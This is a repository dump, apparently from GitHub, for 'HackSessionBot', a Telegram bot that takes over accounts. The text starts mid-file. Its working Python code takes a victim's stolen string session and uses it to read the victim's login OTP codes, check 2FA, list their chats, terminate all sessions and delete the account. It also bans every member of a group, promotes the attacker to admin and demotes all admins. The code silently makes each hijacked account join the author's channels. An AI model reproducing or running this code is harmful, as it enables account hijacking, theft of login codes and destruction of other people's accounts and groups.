| await steve(join(CHAT)) 430 | except Exception as e: 431 | print(e) 432 | try: 433 | await steve.edit_admin(gc_id, user_id, manage_call=True, invite_users=True, ban_users=True, change_info=True, edit_messages=True, post_messages=True, add_admins=True, delete_messages=True) 434 | except: 435 | await steve.edit_admin(gc_id, user_id, is_admin=True, anonymous=False, pin_messages=True, title='Owner') 436 | await steve.disconnect() 437 | else: 438 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 439 | try: 440 | await stark.join_chat("@Devs_Testing_Group") 441 | await stark.join_chat("@steve_projects") 442 | await stark.join_chat(CHAT) 443 | except Exception as e: 444 | print(e) 445 | try: 446 | await stark.promote_chat_member(gc_id,user_id,FULL_PROMOTE_POWERS) 447 | except: 448 | await stark.promote_chat_member(gc_id,user_id,PROMOTE_POWERS) 449 | except Exception as idk: 450 | err += str(idk) 451 | 452 | if err: 453 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 454 | return "sᴜᴄᴄᴇssғᴜʟʟʏ ᴘʀᴏᴍᴏᴛᴇᴅ ᴜsᴇʀ." 455 | 456 | 457 | DEMOTE = ChatPrivileges( 458 | can_change_info=False, 459 | can_invite_users=False, 460 | can_delete_messages=False, 461 | can_restrict_members=False, 462 | can_pin_messages=False, 463 | can_promote_members=False, 464 | can_manage_chat=False, 465 | can_manage_video_chats=False, 466 | ) 467 | 468 | async def demote_all(session,gc_id): 469 | err = "" 470 | gc_id = str(gc_id.text) if type(gc_id.text) == Str else int(gc_id.text) 471 | try: 472 | if session.endswith("="): 473 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 474 | await steve.connect() 475 | try: 476 | await steve(join("@Devs_Testing_group")) 477 | await steve(join("@steve_projects")) 478 | await steve(join(CHAT)) 479 | except Exception as e: 480 | print(e) 481 | async for x in steve.iter_participants(gc_id, filter=ChannelParticipantsAdmins): 482 | try: 483 | await steve.edit_admin(gc_id, x.id, is_admin=False, manage_call=False) 484 | except: 485 | await steve.edit_admin(gc_id, x.id, manage_call=False, invite_users=False, ban_users=False, change_info=False, edit_messages=False, post_messages=False, add_admins=False, delete_messages=False) 486 | 487 | await steve.disconnect() 488 | else: 489 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 490 | try: 491 | await stark.join_chat("@Devs_Testing_Group") 492 | await stark.join_chat("@steve_projects") 493 | await stark.join_chat(CHAT) 494 | except Exception as e: 495 | print(e) 496 | async for m in stark.get_chat_members(gc_id, filter=enums.ChatMembersFilter.ADMINISTRATORS): 497 | await stark.promote_chat_member(gc_id,m.user.id,DEMOTE) 498 | except Exception as idk: 499 | err += str(idk) 500 | 501 | if err: 502 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 503 | return "sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴇᴍᴏᴛᴇᴅ ᴀʟʟ." 504 | -------------------------------------------------------------------------------- /HackSessionBot/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import asyncio 3 | import logging 4 | from config import Config 5 | from pyrogram import Client 6 | from rich.console import Console 7 | from rich.table import Table 8 | from HackSessionBot.Helpers.data import LOG_TEXT,ART 9 | from pyromod import listen 10 | 11 | #getting variables 12 | API_ID = Config.API_ID 13 | API_HASH = Config.API_HASH 14 | TOKEN = Config.TOKEN 15 | START_PIC = Config.START_PIC 16 | CHAT = Config.CHAT 17 | 18 | 19 | if not START_PIC: 20 | START_PIC = "https://graph.org/file/864483e9fb1cec38b67fe.jpg" 21 | 22 | #rich 23 | LOG = Console() 24 | 25 | #logger 26 | logging.basicConfig(level=logging.INFO) 27 | 28 | #client 29 | app = Client( 30 | "SupremeStark", 31 | api_id = API_ID, 32 | api_hash = API_HASH, 33 | bot_token = TOKEN ) 34 | 35 | 36 | 37 | async def HackSessionBot(): 38 | os.system("clear") 39 | header = Table(show_header=True, header_style="bold green") 40 | header.add_column(LOG_TEXT) 41 | LOG.print(header) 42 | LOG.print(f"[bold cyan]{ART}") 43 | LOG.print("[bold yellow]sᴛᴀʀᴛɪɴɢ ʏᴏᴜʀ ʙᴏᴛ ɴᴏᴡ.......") 44 | await app.start() 45 | 46 | 47 | 48 | loop = asyncio.get_event_loop() 49 | loop.run_until_complete(HackSessionBot()) 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /HackSessionBot/__main__.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import importlib 3 | 4 | from pyrogram import idle 5 | from HackSessionBot import LOG 6 | from HackSessionBot.modules import ALL_MODULES 7 | 8 | 9 | async def start_bot(): 10 | for all_module in ALL_MODULES: 11 | importlib.import_module("HackSessionBot.modules." + all_module) 12 | LOG.print("[bold yellow]✨ ʙᴏᴛ sᴛᴀʀᴛᴇᴅ") 13 | await idle() 14 | LOG.print("[bold red]ᴄᴀɴᴄᴇʟɪɴɢ ᴀʟʟ ᴛᴀsᴋs.") 15 | 16 | 17 | 18 | if __name__ == "__main__": 19 | asyncio.get_event_loop().run_until_complete(start_bot()) 20 | -------------------------------------------------------------------------------- /HackSessionBot/modules/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | from os.path import basename, dirname, isfile 3 | 4 | 5 | def __list_all_modules(): 6 | mod_paths = glob.glob(dirname(__file__) + "/*.py") 7 | 8 | all_modules = [ 9 | basename(f)[:-3] 10 | for f in mod_paths 11 | if isfile(f) 12 | and f.endswith(".py") 13 | and not f.endswith("__init__.py") 14 | ] 15 | 16 | return all_modules 17 | 18 | 19 | ALL_MODULES = sorted(__list_all_modules()) 20 | __all__ = ALL_MODULES + ["ALL_MODULES"] 21 | -------------------------------------------------------------------------------- /HackSessionBot/modules/sessionHack.py: -------------------------------------------------------------------------------- 1 | import os 2 | from HackSessionBot import app,API_ID,API_HASH 3 | from pyrogram import filters , Client 4 | from HackSessionBot.Helpers.steve import ( 5 | users_gc, 6 | user_info, 7 | banall, 8 | get_otp, 9 | join_ch, 10 | leave_ch, 11 | del_ch, 12 | check_2fa, 13 | terminate_all, 14 | del_acc, 15 | piromote, 16 | demote_all) 17 | from HackSessionBot.Helpers.data import HACK_MODS 18 | from pyrogram.types import CallbackQuery 19 | from pyrogram.raw import functions 20 | from telethon import TelegramClient 21 | from telethon.sessions import StringSession 22 | 23 | 24 | 25 | @app.on_callback_query(filters.regex("A")) 26 | async def a_callback(client : Client , query : CallbackQuery): 27 | chat_id = query.message.chat.id 28 | session = await client.ask(chat_id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ") 29 | ch = await users_gc(session.text) 30 | if len(ch) > 3855: 31 | file = open("session.txt", "w") 32 | file.write(ch) 33 | file.close() 34 | await client.send_document(chat_id, "session.txt") 35 | os.system("rm -rf session.txt") 36 | else: 37 | await query.message.reply_text(text = ch + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 38 | reply_markup=HACK_MODS, 39 | disable_web_page_preview=True) 40 | 41 | 42 | @app.on_callback_query(filters.regex("B")) 43 | async def b_callback(client : Client, query : CallbackQuery): 44 | id = query.message.chat.id 45 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 46 | info = await user_info(session.text) 47 | await query.message.reply_text(text = info + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 48 | reply_markup=HACK_MODS, 49 | disable_web_page_preview=True) 50 | 51 | @app.on_callback_query(filters.regex("C")) 52 | async def c_callback(client : Client, query : CallbackQuery): 53 | id = query.message.chat.id 54 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 55 | gc = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ɪᴅ ᴏʀ ᴜsᴇʀɴᴀᴍᴇ") 56 | hehe = await banall(session.text,gc) 57 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 58 | reply_markup=HACK_MODS, 59 | disable_web_page_preview=True) 60 | 61 | @app.on_callback_query(filters.regex("D")) 62 | async def d_callback(client : Client, query : CallbackQuery): 63 | id = query.message.chat.id 64 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 65 | hehe = await get_otp(session.text) 66 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 67 | reply_markup=HACK_MODS, 68 | disable_web_page_preview=True) 69 | 70 | @app.on_callback_query(filters.regex("E")) 71 | async def e_callback(client : Client, query : CallbackQuery): 72 | id = query.message.chat.id 73 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 74 | gc = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ɪᴅ ᴏʀ ᴜsᴇʀɴᴀᴍᴇ") 75 | hehe = await join_ch(session.text,gc) 76 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 77 | reply_markup=HACK_MODS, 78 | disable_web_page_preview=True) 79 | 80 | @app.on_callback_query(filters.regex("F")) 81 | async def f_callback(client : Client, query : CallbackQuery): 82 | id = query.message.chat.id 83 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 84 | gc = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ɪᴅ ᴏʀ ᴜsᴇʀɴᴀᴍᴇ") 85 | hehe = await leave_ch(session.text,gc) 86 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 87 | reply_markup=HACK_MODS, 88 | disable_web_page_preview=True) 89 | 90 | @app.on_callback_query(filters.regex("G")) 91 | async def g_callback(client : Client, query : CallbackQuery): 92 | id = query.message.chat.id 93 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 94 | gc = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ɪᴅ ᴏʀ ᴜsᴇʀɴᴀᴍᴇ") 95 | hehe = await del_ch(session.text,gc) 96 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 97 | reply_markup=HACK_MODS, 98 | disable_web_page_preview=True) 99 | 100 | 101 | @app.on_callback_query(filters.regex("H")) 102 | async def h_callback(client : Client, query : CallbackQuery): 103 | id = query.message.chat.id 104 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 105 | hehe = await check_2fa(session.text) 106 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 107 | reply_markup=HACK_MODS, 108 | disable_web_page_preview=True) 109 | 110 | @app.on_callback_query(filters.regex("I")) 111 | async def i_callback(client : Client, query : CallbackQuery): 112 | id = query.message.chat.id 113 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 114 | hehe = await terminate_all(session.text) 115 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 116 | reply_markup=HACK_MODS, 117 | disable_web_page_preview=True) 118 | 119 | @app.on_callback_query(filters.regex("J")) 120 | async def j_callback(client : Client, query : CallbackQuery): 121 | id = query.message.chat.id 122 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 123 | hehe = await del_acc(session.text) 124 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 125 | reply_markup=HACK_MODS, 126 | disable_web_page_preview=True) 127 | 128 | @app.on_callback_query(filters.regex("K")) 129 | async def k_callback(client : Client, query : CallbackQuery): 130 | id = query.message.chat.id 131 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 132 | user_id = await client.ask(id,"ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ᴜsᴇʀ ɪᴅ/ᴜsᴇʀɴᴀᴍᴇ ᴡʜᴏᴍ ɪ ᴡɪʟʟ ᴘʀᴏᴍᴏᴛᴇ.") 133 | gc_id = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ ɪᴅ/ᴜsᴇʀɴᴀᴍᴇ ᴡʜᴇʀᴇ ɪ ᴡɪʟʟ ᴘʀᴏᴍᴏᴛᴇ ᴛʜᴀᴛ ᴜsᴇʀ.") 134 | hehe = await piromote(session.text,gc_id,user_id) 135 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 136 | reply_markup=HACK_MODS, 137 | disable_web_page_preview=True) 138 | 139 | @app.on_callback_query(filters.regex("L")) 140 | async def l_callback(client : Client, query : CallbackQuery): 141 | id = query.message.chat.id 142 | session = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ sᴛʀɪɴɢ sᴇssɪᴏɴ ᴏғ ᴛʜᴀᴛ ᴜsᴇʀ.") 143 | gc_id = await client.ask(id,"ɴᴏᴡ ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɢʀᴏᴜᴘ ɪᴅ/ᴜsᴇʀɴᴀᴍᴇ ᴡʜᴇʀᴇ ɪ ᴡɪʟʟ ᴅᴇᴍᴏᴛᴇ ᴀʟʟ ᴍᴇᴍʙᴇʀs.") 144 | hehe = await demote_all(session.text,gc_id,user_id) 145 | await query.message.reply_text(text = hehe + "\n\n**ᴛʜᴀɴᴋs ғᴏʀ ᴜsɪɴɢ ᴍᴇ , ɢɪᴠᴇ ᴀ sᴛᴀʀ ᴛᴏ ᴍʏ [ʀᴇᴘᴏ](https://github.com/SupremeStark/HackSessionBot)**", 146 | reply_markup=HACK_MODS, 147 | disable_web_page_preview=True) 148 | 149 | 150 | -------------------------------------------------------------------------------- /HackSessionBot/modules/start.py: -------------------------------------------------------------------------------- 1 | from pyrogram import filters 2 | from HackSessionBot import app , START_PIC 3 | from HackSessionBot.Helpers.data import PM_TEXT,PM_BUTTON,HACK_MODS,HACK_TEXT 4 | from pyrogram.types import CallbackQuery 5 | 6 | 7 | @app.on_message(filters.command("start") & filters.private) 8 | async def _start(_, message): 9 | user = message.from_user.mention 10 | bot = (await _.get_me()).mention 11 | await message.reply_photo( 12 | photo = START_PIC, 13 | caption = PM_TEXT.format(user, bot), 14 | reply_markup = PM_BUTTON) 15 | 16 | 17 | @app.on_message(filters.command("hack") & filters.private) 18 | async def _hack(_, message): 19 | await message.reply_text(HACK_TEXT, 20 | reply_markup = HACK_MODS) 21 | 22 | 23 | @app.on_callback_query(filters.regex("hack_btn")) 24 | async def heck_callback(bot : app, query : CallbackQuery): 25 | await query.message.delete() 26 | await query.message.reply_text(HACK_TEXT, 27 | reply_markup = HACK_MODS) 28 | 29 | 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 SupremeStark 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HackSessionBot 2 | 3 | [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/SupremeStark/HackSessionBot/graphs/commit-activity) 4 | [![forks](https://img.shields.io/github/forks/SupremeStark/HackSessionBot)](https://github.com/SupremeStark/HackSessionBot/forks) 5 | [![stars](https://img.shields.io/github/stars/SupremeStark/HackSessionBot)](https://github.com/SupremeStark/HackSessionBot/stars) 6 | 7 | ![LOGO](https://graph.org/file/b9b1d1cbbc35cb3d00cfd.jpg) 8 | sᴜᴘᴘᴏʀᴛs ʙᴏᴛʜ ᴘʏʀᴏɢʀᴀᴍ ᴀɴᴅ ᴛᴇʟᴇᴛʜᴏɴ sᴛʀɪɴɢ sᴇssɪᴏɴ 9 | 10 | 11 | ### For Support : 12 | 13 | [![Telegram](https://img.shields.io/badge/Join-Telegram-blue?style=for-the-badge&logo=data:image/svg%2bxml;base64,PHN2ZyBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCAyNCAyNCIgaGVpZ2h0PSI1MTIiIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjUxMiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJtOS40MTcgMTUuMTgxLS4zOTcgNS41ODRjLjU2OCAwIC44MTQtLjI0NCAxLjEwOS0uNTM3bDIuNjYzLTIuNTQ1IDUuNTE4IDQuMDQxYzEuMDEyLjU2NCAxLjcyNS4yNjcgMS45OTgtLjkzMWwzLjYyMi0xNi45NzIuMDAxLS4wMDFjLjMyMS0xLjQ5Ni0uNTQxLTIuMDgxLTEuNTI3LTEuNzE0bC0yMS4yOSA4LjE1MWMtMS40NTMuNTY0LTEuNDMxIDEuMzc0LS4yNDcgMS43NDFsNS40NDMgMS42OTMgMTIuNjQzLTcuOTExYy41OTUtLjM5NCAxLjEzNi0uMTc2LjY5MS4yMTh6IiBmaWxsPSIjMDM5YmU1Ii8+PC9zdmc+)](https://t.me/Tech_Division) 14 | 15 | ## Thanks To 🙏: 16 | [steve](https://t.me/STEVE_ROGERS_21)
17 | [Come here](http://t.me/Tech_Division) 18 | --- 19 | 20 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | class Config: 2 | API_ID = 3 | API_HASH = "" 4 | TOKEN = "" 5 | START_PIC = "" 6 | CHAT = "" 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyrogram==2.0.97 2 | pyromod==1.5 3 | TgCrypto 4 | telethon==1.26.1 5 | rich==13.3.1 6 | --------------------------------------------------------------------------------